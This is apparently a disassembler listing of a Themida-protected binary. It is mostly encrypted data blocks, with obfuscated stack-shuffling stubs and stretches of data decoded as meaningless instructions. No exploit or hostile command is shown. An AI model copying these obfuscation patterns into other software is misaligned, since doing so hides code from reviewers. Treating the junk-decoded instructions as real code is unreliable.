		dd 808A0479h, 32530A8Ah, 57B66C53h, 1BEDBF5Eh, 6CBD07D1h
		dd 0E06D51E0h, 0C4E6E574h, 0A8BDA70h, 0B09243C2h, 9B2E109Dh
		dd 9E2F11B1h, 48A19FAEh, 0A1BEA13Eh, 9DAFF26Ch,	925ABB10h
		dd 8E80A6F3h, 0BA0B4F16h, 2342C392h, 655E8383h,	0EAE0B2D4h
		dd 3CFD8E3Ch, 0EC8D0C5Dh, 0F1C39ECFh, 98C1074h,	5D3988AAh
		dd 74EDAE28h, 77167704h, 0ADE47157h, 1E20311Dh,	0C1A0C18Bh
		dd 0FA4FB08Ch, 134EDD79h, 10Bh,	2787CF1Bh, 3D9DB101h, 2181C91Bh
		dd 2A0B0FFh, 0E3C39120h, 0BF0E7FB0h, 0C5133595h, 0B80B2D8Dh
		dd 0BD103290h, 3D222F8Fh, 0B6814EC8h, 60021716h, 0C6E470BDh
		dd 0DCFB51E4h, 0B5108AFBh, 0BC41109Dh, 85644CB4h, 18A0E572h
		dd 6CBDA03Ah, 557251E0h, 9DB4A620h, 0A62E6F10h,	0D36821B4h
		dd 98B71475h, 9DB4E965h, 0C28E1D10h, 0DBC44A75h, 0DFC1E750h
		dd 0E82836BEh, 0CDBDBF01h, 2C7CD74Fh, 61A0B197h, 65426100h
		dd 44B71342h, 5A80109Eh, 98F9480Ah, 2C50D2F9h, 0F2F3E4CCh
		dd 0B52D9BEAh, 0FB1A1685h, 77D5686Ah, 6CE07157h, 0FAB684Fh
		dd 9A932C6Dh, 9629352h,	8A33BB0Fh, 6EBF7308h, 87DA00DEh
		dd 735774C5h, 0DE38ADE3h, 0A7E1370Eh, 16A30766h, 13A4B63Eh
		dd 0B6382C3Dh, 4D3C8D45h, 902E4FFBh, 1BAA90AFh,	0ECE4839h
		dd 7697E137h, 73D96C6Eh, 1EBE6B54h, 37CFA34Ah, 0C233EADh
		dd 0BF000000h, 392CDDC2h, 6B9C8D4h, 0BD885ABEh,	7254E571h
		dd 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h, 7FC392C2h
		dd 2D112030h, 0BC9EAF9Bh, 2215242Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	47DEh
		mov	[esp], edi
		push	21FBh
		mov	[esp], ecx
		push	ecx
		mov	ecx, 73E07B0Dh
		mov	edi, 79F93B62h
		add	edi, 219C4080h
		sub	edi, ecx
		sub	edi, 219C4080h
		pop	ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		pop	dword ptr [ecx+8]
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		dd 0AC7B893Ch, 18CD8EB8h, 0FFC50306h, 0C51D1BE0h, 0FAAB0129h
		dd 0D09F0313h, 7298FA1Dh, 49846357h, 568C0E07h,	0F89D3E3Fh
		dd 1E3D03Dh, 4A90013h, 4B8BB270h, 73727D73h, 358C1C58h
		dd 0DE7EA2Bh, 62B9C00h,	5495180Bh, 0B328A97Bh, 6267F35Fh
		dd 0AC6D5F74h, 7B6D9B16h, 2CDE704h, 7C32BC78h, 0E516FB2Bh
		dd 0AF8D8D21h, 6A0618CFh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 553AC351h, 0F1CA37D5h
		dd 280C2241h, 0EE8h, 98D8EB00h,	0D12B9D27h, 6D87557Ch
		dd 29EC09D9h, 1314BDBDh, 12E95F06h, 83000000h, 5DE0FB87h
		dd 85689186h, 0DA7E90EDh, 9E8F6B4Ch, 0BD8D898Ah, 6A06131Bh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 3CB6C351h, 6C910249h, 0E8E6535Ch,	11h, 6CFA22EFh
		dd 0D826DCFFh, 48E619CDh, 23118594h, 85C75F96h,	61318DDh
		dd 6314h, 5BD9533h, 85C70613h, 6133055h, 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5D9203
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D9203	proc near		; CODE XREF: Themida_:005D91FBp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5D9203	endp

; ---------------------------------------------------------------------------
		db 0EDh
		dd 35B7EF97h, 95892953h, 6130F59h, 0FFD3B70Fh, 132331B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 19419603h, 0CAAA1B62h, 1D8995FFh, 6A0613h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0F96D2C3h, 6AF1BFh, 0DA995FFh, 0C08B0613h, 372D7EEBh
		dd 2B665812h, 32094700h, 59F66EDEh, 2A3C6992h, 0DA9F3DF6h
		dd 8C6B9B33h, 0BDDB25CDh, 0EE46F9E4h, 0A25EBC9Ch, 38BB5662h
		dd 6DD7FCCAh, 6AECED29h, 93D43DBDh, 0B70F9177h,	3A294055h
		dd 2709821Bh, 38542EB4h, 1B81213Dh, 7FFFC583h, 5D5A3E38h
		dd 3330B548h, 5C448089h, 86F72B8Bh, 0C8D1DFEBh,	50369DA8h
		dd 89B17D99h, 0FC86FE46h, 80C6F273h, 0C9CCCEDBh, 36B25B43h
		dd 64432DFh, 3DE9h, 7A746800h, 12h, 0C51C5700h,	6148434Ah
		dd 0A5ADF936h, 528C88A7h, 0B7FB75h, 0ADF99CBEh,	89937EE5h
		dd 0F4C7009Dh, 6063921Dh, 0DE19h, 3 dup(0)
		dd 6EE90000h, 6800000Ah, 618D18Bh, 0FAB0DFE9h, 0D2EF68FFh
		dd 0D5E90618h, 68FFFAB0h, 618D3D8h, 0FAB0CBE9h,	0D48768FFh
		dd 0C1E90618h, 68FFFAB0h, 618D546h, 0FAB0B7E9h,	0D5EE68FFh
		dd 0ADE90618h, 68FFFAB0h, 618D694h, 0FAB0A3E9h,	0D87168FFh
		dd 99E90618h, 68FFFAB0h, 618D95Ch, 0FAB08FE9h, 144290FFh
		dd 0C4294B6h, 12388CAEh, 133D8EB4h, 14408DB3h, 43A887B6h
		dd 5A805EF6h, 486A480Ah, 537555F3h, 5F6C4A02h, 84910D80h
		dd 475A16B6h, 0C8BEA31Bh, 65787AEBh, 0D6011685h, 420FB209h
		dd 0CE3F9C63h, 0A857354h, 73F0F81Dh, 3C8DB512h,	0AA95B210h
		dd 0BED67C2Ah, 8EC00872h, 0E440113Bh, 0BB2A89FDh, 106CFF98h
		dd 66E2755Dh, 7EBA1449h, 283046Ch, 0CBE82DBAh, 0C53856E7h
		dd 46C7F49h, 3492F312h,	0C091BB0Eh, 674B7D64h, 8A0475D5h
		dd 53046C7Eh, 0C6DDD6Fh, 49714E6Dh, 820352F6h, 5F8ECB3Ah
		dd 63470A5Dh, 0F6737DD5h, 0B0ECE297h, 6EFD73DEh, 8A473h
		dd 5CFA4800h, 440A5C7Eh, 5AF04466h, 4B05567Ch, 5CF8456Bh
		dd 8BE04F7Eh, 92B8163Eh, 90B21042h, 8BAD0D3Bh, 0A7B4123Ah
		dd 85D935A8h, 6FA216B6h, 1D6CBDD3h, 1071C08Ch, 4BDEE071h
		dd 7C65A101h, 3885AD0Ah, 4CC4D1Ch, 0A34BA6D7h, 0B1D4168Eh
		dd 9EF151A0h, 9F2D0A8Ah, 9F0680F5h, 4ECF0A8Ah, 0AC3C1E2Fh
		dd 9F1975E8h, 0A3E20A8Ah, 0FD8B73C2h, 0B650998Ch, 21B09245h
		dd 6331A933h, 0CB5AAD0Ch, 64h, 0C8BEA36Fh, 989B7AEBh, 666C168Eh
		dd 0B91677D1h, 0F598B196h, 0D3810B68h, 8A8128A2h, 0FACF10Ah
		dd 8A8184DEh, 0C84D0Ah,	10456261h, 0A8A80B6h, 81247EEFh
		dd 0A8ED0A8Ah, 2424B79Bh, 4B95F415h, 8A815EBCh,	0E059B50Ah
		dd 0AD26FCBCh, 0D7645Ah, 58770000h, 8A74A925h, 0AC13720Ah
		dd 0FC3D74D3h, 5802CAD2h, 51E06CBDh, 0E574E06Dh, 0B63650E1h
		dd 80CC5DCEh, 0CD55FD1Bh, 28B99DACh, 0F2578624h, 3B109EAEh
		dd 0A86DE91Ch, 0D736109Eh, 6D4A9BF0h, 9C2401B6h, 852527BAh
		dd 2B3A12A3h, 15B2D40Dh, 7D7C8F2Ah, 23ADCD21h, 0BEC2C736h
		dd 7A9B168Eh, 81055C5Ch, 0B3220522h, 0A8AAC57h,	94F3FD20h
		dd 107515B1h, 86AC0B8Ah, 9BBD1D37h, 8B33404Eh, 213CA5E5h
		dd 0E9E70D40h, 852479FAh, 74048h, 381EAC00h, 2826B89Ah
		dd 3614A88Ah, 2F21B298h, 381CA98Fh, 6784AB9Ah, 765C7ADAh
		dd 6C4E6CE6h, 6F5171D7h, 83506EDEh, 86AD295Ch, 237616B6h
		dd 2670BD3Fh, 9DB55BB7h, 12C48C10h, 11C0C14Ch, 4A2C342h
		dd 0E1C18B1Eh, 2BEA347h, 0A603B205h, 6A4928D5h,	0B9D8654Dh
		dd 0F716272Bh, 0AEA43496h, 17767E9Fh, 168EDF36h, 3995C807h
		dd 20A8ACFh, 2253E283h,	0A8ACEA4h, 6FFE4CE0h, 0E071D96Bh
		dd 6F56F3DFh, 0E88F2C66h, 51E072C2h, 6030A830h,	0C85AACF0h
		dd 94h,	0E06CBD6Eh, 74E06D51h, 0B83194E5h, 0E475109Dh
		dd 0D5684A68h, 9FCAE677h, 4FE2C8E7h, 0CB0D6FDh,	0B7D41754h
		dd 0D8BD302Dh, 0B1168E83h, 0DB6B4F6Ch, 2B6B6973h, 2735036h
		dd 1074CEF0h, 2307A4E9h, 3A20BE96h, 8AB4A9ABh, 0B379FA1Bh
		dd 657D9F4h, 49950000h,	3B8BAD0Dh, 3B8DB313h, 3A89AF0Fh
		dd 4392B816h, 0AD82B111h, 4363F140h, 2383CF5Dh,	409EAAFDh
		dd 2585C71Ah, 48C2331Ch, 1116B688h, 70BDA698h, 75E0C7E4h
		dd 0E8E7A713h, 0D1F7E5EFh, 54EECC80h, 51E06CBDh, 5270DC6Dh
		dd 9DB4A323h, 4BBE410h,	6A9910CBh, 568BA731h, 1EAF9330h
		dd 0F6FE1F2Eh, 476874E9h, 1A051686h, 55AB775Dh,	0AE3B851Bh
		dd 0DB6A506Fh, 40626F79h, 597F5FEDh, 0D6F54408h, 0E1EB61F4h
		dd 0A6378CD5h, 0C7E8C7A6h, 85F73C96h, 3880050Ah, 0C6163C1Bh
		dd 48C5448Ch, 111076F2h, 2DAFD98Ch, 25C479F8h, 5A828h
		dd 60F64400h, 80CE6042h, 9EAC0022h, 87C91A40h, 0A0B40127h
		dd 0EF1C1302h, 0EED4F262h, 0F4D6F45Eh, 0E7C9E95Fh, 0BD8F656h
		dd 893591C4h, 0ABFE16B6h, 0D2DDC2B7h, 0DFC3A1Bh, 81D406CEh
		dd 7A5D7ACBh, 9E438F0Bh, 0FC51C010h, 676767C3h,	292BB5D8h
		dd 0B87F698h, 0D4109E5Ah, 7981D0B1h, 75C87A0Fh,	9D5BF7D7h
		dd 45A3414Fh, 7, 140C419h, 706A0000h, 109DB512h, 7A592D34h
		dd 8564D00Bh, 33A28516h, 0A84E3D7h, 0F6737DA0h,	30173897h
		dd 0D64289D2h, 0A9A53575h, 0B6187998h, 0FD1C2D27h, 0FC50E1F3h
		dd 0E369FCDEh, 7B0B5652h, 4AAC295Ch, 10751076h,	0F786155Dh
		dd 0BA975679h, 4E9h, 3F9FB703h,	2585C919h, 3999B103h, 2A88C817h
		dd 3B9BB908h, 77C62708h, 8DDBFDDDh, 70C3E5C5h, 85D8FAD8h
		dd 0F5DAE7C7h, 0B68A0680h, 0E85ACF16h, 51E06CBDh, 0E170DC6Dh
		dd 681AAF19h, 0FB5777D5h, 0A341EA3Dh, 1DA5h, 0BF143600h
		dd 0C2953F89h, 2696DEDDh, 0B22310F5h, 109E4558h, 539DFC21h
		dd 8D08h, 0BEA3A600h, 787AEBC8h, 91168565h, 3A8BAF0Ch
		dd 3B8EB412h, 0FDE44011h, 98BB2A89h, 0ED106C95h, 96270BA8h
		dd 9F3218B6h, 97F658EAh, 77F6AC6h, 0F51835A8h, 3C610A5Ch
		dd 0DE45F349h, 4C892073h, 441h,	97371FABh, 8D2D21B1h, 913119ABh
		dd 923020AFh, 933321B0h, 0CF5E8FA0h, 0B5032585h, 0C81B3D9Dh
		dd 0AD002280h, 2D323F9Fh, 0B68A5EB8h, 50F22716h, 4EE0C2h
		dd 0B4D832A3h, 7CA1109Dh, 1156974h, 60420000h, 50B180CEh
		dd 0BEA3CE88h, 0A4786802h, 8BEAAFECh, 52B5B92Ch, 4FCE1686h
		dd 55F74A70h, 4A025375h, 0E2A4BDFBh, 826F90C5h,	41C4106Dh
		dd 483D62h, 9E7E28D0h, 90210956h, 0A93C1EBCh, 4B9692A3h
		dd 538E087Dh, 3657046Dh, 73577857h, 25646CE4h, 0A5E33E8h
		dd 2D79EC31h, 4673DF84h, 39BAAA7h, 5510000h, 0FF4F7151h
		dd 0F7496F4Fh, 0FE4D7353h, 0FF4E7452h, 0E9467555h, 0BF1F3584h
		dd 0A7074B99h, 0BC1A2E81h, 0A9094396h, 0D44EBFA0h, 9D16B68Ah
		dd 6CBDDA84h, 0DC6D51E0h, 0B4C743B2h, 0D90109Dh, 9B35DD6Ch
		dd 6BE1741Eh, 0EA21EF4Bh, 0DFC3A341h, 0B8124351h, 81109DC0h
		dd 0EFEC7D1Ch, 9DC1247Eh, 0C9A8ED10h, 4998FFh, 1C3B0000h
		dd 9DC16DE9h, 0DB37A610h, 0A4109DC0h, 1CEDD261h, 177EE459h
		dd 29B33D5Ch, 0EBC8BEA3h, 8EFBA77Ah, 57EAD016h,	1F7EEBF5h
		dd 3E469AC0h, 0DED70441h, 2989E86Eh, 89D35BBAh,	646970Ah
		dd 1C2E82A8h, 2EB104Dh,	0BDAE0000h, 6C49186Ah, 7D484DCBh
		dd 0B8094D1Ch, 0E5183794h, 109DBD69h, 0CB09D332h, 69F854E5h
		dd 5A78D465h, 6CC0035Eh, 0ED20BFDEh, 168EAB90h,	1465F419h
		dd 0A8AA6B6h, 0E408810Dh, 5AAD1414h, 44BCh, 0E5C2A200h
		dd 9DB51670h, 55F74A10h, 13D8706h, 0CC419EE8h, 168E98CDh
		dd 0D24CC19Eh, 9B0A8A88h, 4503587Ah, 66E41524h,	0A20A8A89h
		dd 0CDF14012h, 0D83D27Eh, 0F6FFE663h, 3FFD1F9Ch, 0A75AAD3Eh
		dd 0E0h, 0E06CBDBBh, 0B1E06D51h, 513024h, 77C9DCC3h, 13EFB353h
		dd 163687C9h, 9AB20347h, 87C3153Dh, 0ADBC9423h,	5976646Ch
		dd 0AA245976h, 73109DE5h, 0E5E76312h, 0CE1B109Dh, 956B786h
		dd 48CD3C84h, 91109DE9h, 27361AA9h, 69FCDEE6h, 4EDEC4E3h
		dd 0CD43504h, 7BC9F1CEh, 0BD0786D7h, 33024A9Bh,	3D9AECF5h
		dd 55AD351Ah, 1C540063h, 40678277h, 1CB6C13h, 8EFB1782h
		dd 7D5DC016h, 815E2841h, 7561720Ch, 0BD1A7B10h,	0AF0C4895h
		dd 0F5121288h, 34C5EA66h, 0C4A922Fh, 0C8BD9726h, 79FAA888h
		dd 0BE03DE8Dh, 2E000001h
		dd 3218B6A0h, 2A10AEA0h, 3416B496h, 2B0DADA3h, 2518B69Eh
		dd 54E10Ah, 223080A2h, 3F099E84h, 2428B99Fh, 6392BD86h
		dd 16B68CE7h, 0BDC579B0h, 0E4C6E470h, 7DDBFB51h, 0EBC8BEA3h
		dd 0BD575C7h, 15C6F1CEh, 0DEC5FB85h, 5D3CCB15h,	2E168ECAh
		dd 0AF2F5EEFh, 0EB0A8AB9h, 6165F45Ch, 0BAEE7FD3h, 8B5243B8h
		dd 92628AFFh, 3A5AACEFh, 0D4h, 0E06CBD20h, 1507251h, 42134190h
		dd 381AA2C3h, 260CABA9h, 6607F393h, 85AD5101h, 0AC3455E4h
		dd 5849CC3Dh, 3C8D109Eh, 3F8FB310h, 351DAB0Fh, 3A8BADABh
		dd 1E044312h, 9DB1018Eh, 1D2C4DCCh, 0A1C8F4FCh,	0C6E9C6E5h
		dd 9E513B97h, 37810410h, 8F225DC8h, 27870616h, 278402E7h
		dd 757DDBB6h, 99EA410h,	59815E3Fh, 486A480Ch, 0B8265BF9h
		dd 0E979FACAh, 0D30742h, 0CD190000h, 0B7072989h, 0BF113797h
		dd 0B6052B8Bh, 0C7163C9Ah, 31FE2D8Dh, 0E7C78DDCh, 0FFDF73C1h
		dd 0E4C286D9h, 0C1E16BBEh, 2CA6D7F8h, 0F516B68Eh, 70BDC29Ch
		dd 0B55BB726h, 0E124109Dh, 1E042380h, 1475C48Eh, 9DB4E965h
		dd 8953B210h, 78D4654Bh, 0A4E7775Bh, 0EE2F3E14h, 0B917458Fh
		dd 51E06CBDh, 5270DC6Dh, 5C7B0B56h, 8564DE29h, 0E5C24316h
		dd 55E470BDh, 1E3DAC34h, 3A7AD3Ch, 0FD4F99B1h, 2002A0ACh
		dd 5FAEBF8Dh, 0FEE64B23h, 0BB8ACA17h, 38094997h, 0E7CE6BA7h
		dd 0F5AD1E54h, 0F7E32264h, 0BABD2421h, 996EE81Dh, 0D637F622h
		dd 0D22F18B7h, 980F46E1h, 89E866F8h, 9E2F113Fh,	2CBB9FAEh
		dd 0CD3F1524h, 1933863Ch, 64697B9h, 31A37h, 7BB80000h
		dd 0E571BDE1h, 6DDF7254h, 0E365FADCh, 72E07052h, 252DFE3h
		dd 92C20F33h, 20307FC3h, 0AF9B2D11h, 242ABC9Eh,	89512215h
		dd 4C181E1h, 83000000h,	0C8704E9h, 24248B24h, 230168h
		dd 242C8900h, 490068h, 243C8900h, 74B26850h, 48B4BABh
		dd 4C48324h, 0B3A46135h, 58C5894Dh, 471668h, 24248900h
		dd 4240483h, 8B9515Fh, 1000000h, 0BB53F9h, 1000000h, 5B2B89CBh
		dd 243C8B59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		db 0AFh
		dd 0BBE40734h, 91B6FFC6h, 437AD038h, 0DA54B882h, 0C5030618h
		dd 0E92EE0FFh, 61624382h, 0B5AA0640h, 3CCB3C5Dh, 8C361113h
		dd 0DDC606F8h, 478C149Ah, 83DE749Ah, 0D3C07BBEh, 93EA428Eh
		dd 0AF184840h, 36B76F06h, 1AE47D7Fh, 0E6B1368h,	5DC769CCh
		dd 16386810h, 0D73649D1h, 0DEC527F0h, 5C347D79h, 0B0E5795Fh
		dd 5E960230h, 784324D8h, 1C3E6A82h, 0FE877EBh, 0F5000000h
		dd 7380EEE2h, 944ADE36h, 791C9A1Fh, 8166CC1Dh, 5A6836F0h
		dd 68D0Fh, 0D7810000h, 47E3C39Fh, 7428C281h, 9E90000h
		dd 0A000000h, 84A1AEAh,	47BEAEB1h, 1CDDBBh, 0BA666000h
		dd 0CB8066E0h, 0A8B618Ch, 81CADC80h, 0A7DB09F1h, 0D860F12h
		dd 0E9000000h, 8, 590AFDB6h, 9F25893Eh,	0A216E981h, 0F1810D9Ch
		dd 6FF99229h, 3DFEF81h,	0A896F33h, 7161F081h, 0EA831D79h
		dd 0FFBF0F04h, 20850F4Bh, 0E9000000h, 0Fh, 0D35825B8h
		dd 48C14493h, 0DD286A69h, 0E90D772Fh, 17h, 3FA9AC53h, 80E25C0Dh
		dd 93E957E0h, 67FFFFFFh, 3DF788E7h, 0EB732C56h,	24h, 8 dup(0)
		dd 0BDE900h, 0B5890000h, 618DC0Bh, 173D858Bh, 858B0613h
		dd 61320F1h, 0DC55B58Dh, 858D0618h, 6164483h, 55C3D0FFh
		dd 0E8h, 0ED815D00h, 618DC5Bh, 173DBD83h, 0F010613h, 2C85h
		dd 0BB5FF00h, 8B0618DCh, 1320F185h, 27363506h, 0D0FF3481h
		dd 850F013Ch, 0Ah, 1B8h, 47E900h, 0C0330000h, 40E9h, 8D1C6A00h
		dd 18DC0FB5h, 0B5FF5606h, 618DC0Bh, 20F1858Bh, 36350613h
		dd 0FF348127h, 0CC483D0h, 0DC0FB58Dh, 468B0618h, 4E08314h
		dd 0F04F883h, 784h, 0E9C03300h,	5, 1B8h, 3DBD8300h, 1061317h
		dd 7850Fh, 0C35D0000h, 2E9h, 8DCF5D00h,	18DC3485h, 6D858906h
		dd 0E906130Eh, 9Ch, 4DBAA49Dh, 94h, 5, 1, 0A28h, 2, 76726553h
		dd 20656369h, 6B636150h, 3220h,	1Dh dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5DABDB
; ---------------------------------------------------------------------------
		push	618DF3Ch
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	618E041h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	618E16Ch
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	618E1D9h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	618E309h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	618E362h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	618E694h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	618E793h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		db 0B0h, 22h, 34h
; ---------------------------------------------------------------------------
		xchg	eax, esi
		mov	ah, 22h


loc_5DA0C3:				; CODE XREF: Themida_:005DA0D7j
					; Themida_:005DA0DFj ...
		sub	al, 8Eh
		lodsb
		sbb	[edx], dh
		xchg	eax, esp
		scasb
		sbb	eax, 20AD9333h
		xor	al, 96h
		cmpsd
		mov	[ebx-2Ah], ah
		jle	short loc_5DA137
		jp	short loc_5DA0C3
		push	75D3684Ah
		push	ebp
		jnb	short loc_5DA0C3
		push	4Ch
		jg	short loc_5DA145
		sub	eax, 16B691B1h
		jp	short loc_5DA113
		mov	eax, 0C30D3F92h
		sbb	[ebp+6D51E06Ch], edi
		fdiv	qword ptr [eax+52h]
		push	esi
		or	edi, [ebx+5Ch]
		sub	esp, ecx
		mov	ds:3055168Eh, al
		and	eax, edx
; ---------------------------------------------------------------------------
		db 72h
; ---------------------------------------------------------------------------
		lahf
		mov	cl, [edx]
		leave
		cmp	eax, 0CD0A0CCh
		lodsd
		pop	edx


loc_5DA113:				; CODE XREF: Themida_:005DA0EAj
		mov	dl, 90h
		aas
		adc	[ebp-1CDDCCE1h], ebp
		fld	st(2)
		add	ss:[eax], al	; CODE XREF: Themida_:005DA15Aj
		add	[eax-1437415Dh], bl
		jp	short near ptr loc_5DA0C3+1
		cwde
		mov	ss, word ptr [esi]
		insb
		sub	[eax], ebx
		jmp	near ptr 0AE82A9Dh
; ---------------------------------------------------------------------------
		db 0A5h, 17h, 3Bh
; ---------------------------------------------------------------------------


loc_5DA137:				; CODE XREF: Themida_:005DA0D5j
		sub	ch, [eax]
		xchg	eax, ebp
		mov	bh, 0A6h
		jb	short $+2
		mov	ebx, [edx+1A42B753h]
		pop	edx


loc_5DA145:				; CODE XREF: Themida_:005DA0E3j
		db	3Eh
		lods	dword ptr [esi]
		pop	edx
		cmp	al, 16h
		mov	dword ptr [ebp+0F5DC43h], 0DBFF0000h
		mov	ecx, eax
		neg	dword ptr [ebp-43h]
		insb
		loopne	near ptr loc_5DA11E+1
		fist	word ptr [ecx+1]
		mov	bh, 28h
		sub	eax, ds:959037E3h[ebx*8]
		cmp	dh, [edx+644311A0h]
		db	3Eh
		out	dx, eax
		db	65h
		pop	ebx
		or	al, 0CFh
		lock jge short loc_5DA198
		xor	[esi+7ABEA10h],	bl
		mov	dh, 96h
		mov	dword ptr [esi+7Eh], 6443095Ch
		db	3Eh
		jmp	far ptr	95B9h:28B0D160h
; ---------------------------------------------------------------------------
		dw 4A44h
		dd 2F9EF86Dh, 2667109Eh
; ---------------------------------------------------------------------------


loc_5DA198:				; CODE XREF: Themida_:005DA174j
		aaa
		fld	tbyte ptr [edi]
		sahf
		adc	[esi+ebx*4+4322430Dh], ah
		arpl	ax, si
		or	ebp, [esi+ebx*4]
		adc	[ebx+2], dl
		dec	edx
		insb
		inc	esi
		rep pop	ecx
		or	[ebp+esi*4-5F2A0D2Fh], ch
		sub	ebx, es:[esi+26AEEF10h]
		cmp	esp, eax
		sal	dword ptr [eax], 8Fh
		push	ss
		call	far ptr	0E169h:0AFE559B5h
		wait
		push	es
		xor	dl, [edx]
		stc
		retf
; ---------------------------------------------------------------------------
		db 0DDh, 0BCh, 0DDh
		dd 0DEA8C1FDh, 23898C01h, 65621075h, 751096F0h,	5F3E5F04h
		dd 490B5A80h, 0D1664C69h, 4B2A20B4h, 0FF519BFAh, 69AFA2B2h
		dd 0A679FA6Fh, 92DCA07h, 6DF90000h, 57E7C9E9h, 5FF1D7F7h
		dd 56E5CBEBh, 67F6DCFAh, 51DECDEDh, 7A7AD3Ch, 1FBF9321h
		dd 4A2A639h, 0E1C18B1Eh, 0C86F7D8h, 0D516B694h,	70BDA2BCh
		dd 0DEBF9321h, 0C68AD901h, 67FAE0FEh, 0A36BC5E5h, 7AEBC8BEh
		dd 168E989Bh, 6673F3DCh, 0B265248Dh, 468EBC10h,	634764A9h
		dd 2E5F7CD4h, 0A8A6CB4h, 11D0187Dh, 8A6D62E0h, 0BC4DB90Ah
		dd 0AD52C090h, 0CF685Ah, 0BDCE0000h, 0C28E1D6Ch, 6EFF4DE0h
		dd 0DBFF4E2Fh, 677C68Eh, 109DB101h, 0A2FC714Eh,	6B109DAFh
		dd 1DB0A22Ah, 18A98F2Fh, 0E2072534h, 0AC3C53E1h, 9A6C7A6h
		dd 783DA41Eh, 5AC95D47h, 0BCBCBA57h, 78656F0Eh,	8DDE0005h
		dd 60F1D916h, 0C2E8DECh, 2AA4D9BDh, 0F30A89CBh,	6062F392h
		dd 0ADEC7DCBh, 0DAD604CCh, 4AC4398Fh, 7E0A89CBh, 0CF4E1F29h
		dd 5F7C1D80h, 74291C2Eh, 0D3F01510h, 0D4F262EFh, 80F55FEEh
		dd 79F9823Eh, 2885C067h, 0FE000008h, 2208A6B0h,	3A20BE90h
		dd 2406A4A6h, 3B1DBD93h, 1508A6AEh, 0F064F11Ah,	0F260F0D2h
		dd 0EF59EED4h, 0F458E9CFh, 93C20DD6h, 16B69537h, 0BDB5A900h
		dd 0E4C6E470h, 0F3DCFB51h, 0EDB27156h, 0E9E7F193h, 0E06CBD4Fh
		dd 1571E4C3h, 0DE109DB5h, 99B635BFh, 0B4CB47B6h, 0D104109Dh
		dd 109DB575h, 4A90DF3Eh, 850455F7h, 67FADCE4h, 0DABB8D22h
		dd 713D2FDh, 92CB3CF1h,	8B46C035h, 8E0F109Eh, 0D1181846h
		dd 6DE716B5h, 0A2168640h, 0ADF65085h, 5EBF0A85h, 17B4D996h
		dd 0DAAA233h, 32BA9625h, 0ADE5B124h, 88DF0A85h,	0A8A16834h
		dd 8563D935h, 3C63A20Ah, 0CCAD741Dh, 0B6E6D1EEh, 0C4385A31h
		dd 0AA2C22AAh, 5CEBD811h, 452465F4h, 0F7664966h, 0A84CD9Bh
		dd 68972164h, 1075BEC9h, 79D7684Ah, 0C21FA9E8h,	6C2DA043h
		dd 0E77294Ah, 0E114B3D3h, 7699BA48h, 3775C449h,	6775432h
		dd 7083B8B9h, 0DFC8E726h, 1EEA3216h, 2B28B089h,	0BB95260Ch
		dd 0BE8E1F31h, 0E2A73A20h, 0A7AD3C51h, 47167796h, 7AB2A7C6h
		dd 8FDA0417h, 6FDFDD8h,	9D290000h, 0A73719B9h, 8F2107A7h
		dd 0A6351BBBh, 97260CAAh, 12E1DBDh, 0D7F75DECh,	0CFEF63F1h
		dd 0D4F256E9h, 0D1F15BEEh, 3C96C708h, 516B696h,	0BEA3B28Ch
		dd 0D96C3B02h, 0E180D15Ah, 0FA3993C2h, 9FFE1685h, 0C3C81A40h
		dd 2221876h, 0A51421E2h, 0AF1475C4h, 1CED111Bh,	0EBCBAA4Bh
		dd 88D975C5h, 2459F346h, 800AD4AEh, 901D38EFh, 96000006h
		dd 8AB00E48h, 92B81638h, 8CAE0C3Eh, 93B5153Bh, 7DB00E46h
		dd 480C59B2h, 5AF8486Ah, 4701567Ch, 5CF04167h, 0FB6A757Eh
		dd 16B6959Fh, 0A30D3168h, 7AEBC8BEh, 16856A22h,	0E2FCE0E7h
		dd 80B0980Ch, 0DFC4680Eh, 9DFCFEE2h, 81C71C3Eh,	4A8751B0h
		dd 5877D568h, 1FADE272h, 82E32233h, 7552B3h, 0A851286h
		dd 0D806CE4Fh, 0D4F38FD8h, 851231A1h, 51E0E20Ah, 0B2D33203h
		dd 11F352A3h, 0D4A0A85h, 0A7B69225h, 97345E66h,	0A6BBA775h
		dd 450F5Ah, 0A3330000h,	0C6E9C6BCh, 0DD71C1E9h,	9DB532ACh
		dd 529AFB10h, 9DB55BB3h, 68F91C10h, 9DB4B919h, 5761010h
		dd 86007552h, 0BF109DB4h, 9DB3D44Eh, 0EB789D10h, 0FABA22AAh
